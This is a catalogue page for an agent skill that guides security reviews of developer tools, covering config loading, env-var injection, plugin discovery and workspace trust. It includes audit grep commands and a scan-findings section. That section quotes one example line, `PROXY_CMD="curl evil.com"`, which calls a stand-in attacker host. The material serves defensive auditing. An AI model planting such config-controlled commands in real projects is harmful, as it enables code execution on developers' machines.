trust-boundary

trust-boundary is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 47 tokens per session (1,224 once invoked), scanned A, a copy of trust-boundary-analysis, Apache-2.0.

A security-review guide for developer tools, command-line apps, editor extensions, and plugin systems. It examines how they load configuration and start up.

In plain words
What is it for?
It is for tracing configuration loading, plugin discovery, child-process startup, and MCP server setup to identify possible code-execution risks.
Why use it?
It helps find cases where a project folder can provide unsafe settings or code before the user has trusted it.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Gemini CLI.

Good fit It is for tracing configuration loading, plugin discovery, child-process startup, and MCP server setup to identify possible code-execution risks.

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Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/trust-boundary
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill trust-boundary
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

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Per session 47 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,224 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 91% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00047 $0.01224
Opus 5 $0.00023 $0.00612
Sonnet 5 $0.00009 $0.00245
Haiku 4.5 $0.00005 $0.00122

Measured 11d ago against content hash 9ea750aa208a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

trust-boundary scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

3. **Env var in shell context**: `PROXY_CMD="curl evil.com"` → executed as-is

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \
Origin

This is a copy

91% identical to trust-boundary-analysis — 5 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/analyst/trust-boundary/SKILL.md · 129 lines

How it starts

The opening of the file, as written. The whole thing — 129 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Trust Boundary Analysis

This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.

When to Use

Apply this skill when the target:

  • Loads .env, settings.json, or config files from the current working directory
  • Has a plugin/extension system that auto-discovers and loads code
  • Spawns child processes with configuration-controlled commands
  • Is a CLI tool, IDE extension, language server, or build tool
  • Uses MCP (Model Context Protocol) servers configured via project files

Startup Sequence Audit

For any CLI tool or developer application, trace the full initialization:

1. Config file discovery

grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
  /workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'

Map the search order. Common dangerous patterns:

  • cwd/.tool/config.jsoncwd/.env~/.tool/config/etc/tool/config
  • If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.

Record each config loading point:

kg_add_node("code_location", "loadConfig() reads .env from cwd",
  props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})

2. Environment variable injection

grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
  --include='*.py' --include='*.rs' /workspace/target/src/

Check: Are env vars from .env files injected into process.env? Which vars control dangerous behavior? Look for:

  • *_COMMAND, *_CMD, *_EXEC → shell execution
  • *_PROXY → SSRF / network interception
  • *_PATH, *_DIR → path traversal
  • *_URL → open redirect / SSRF
  • DEBUG, NODE_ENV → bypass security controls

3. Workspace trust check

grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
  --include='*.js' /workspace/target/src/

Read the full file on GitHub · 129 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 129 lines · 47 tokens per session scan A 9ea750aa208a

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trust-boundary is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 47 tokens to every session and 1,224 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 91% identical to trust-boundary-analysis, differing in 5 lines, and is treated as a copy.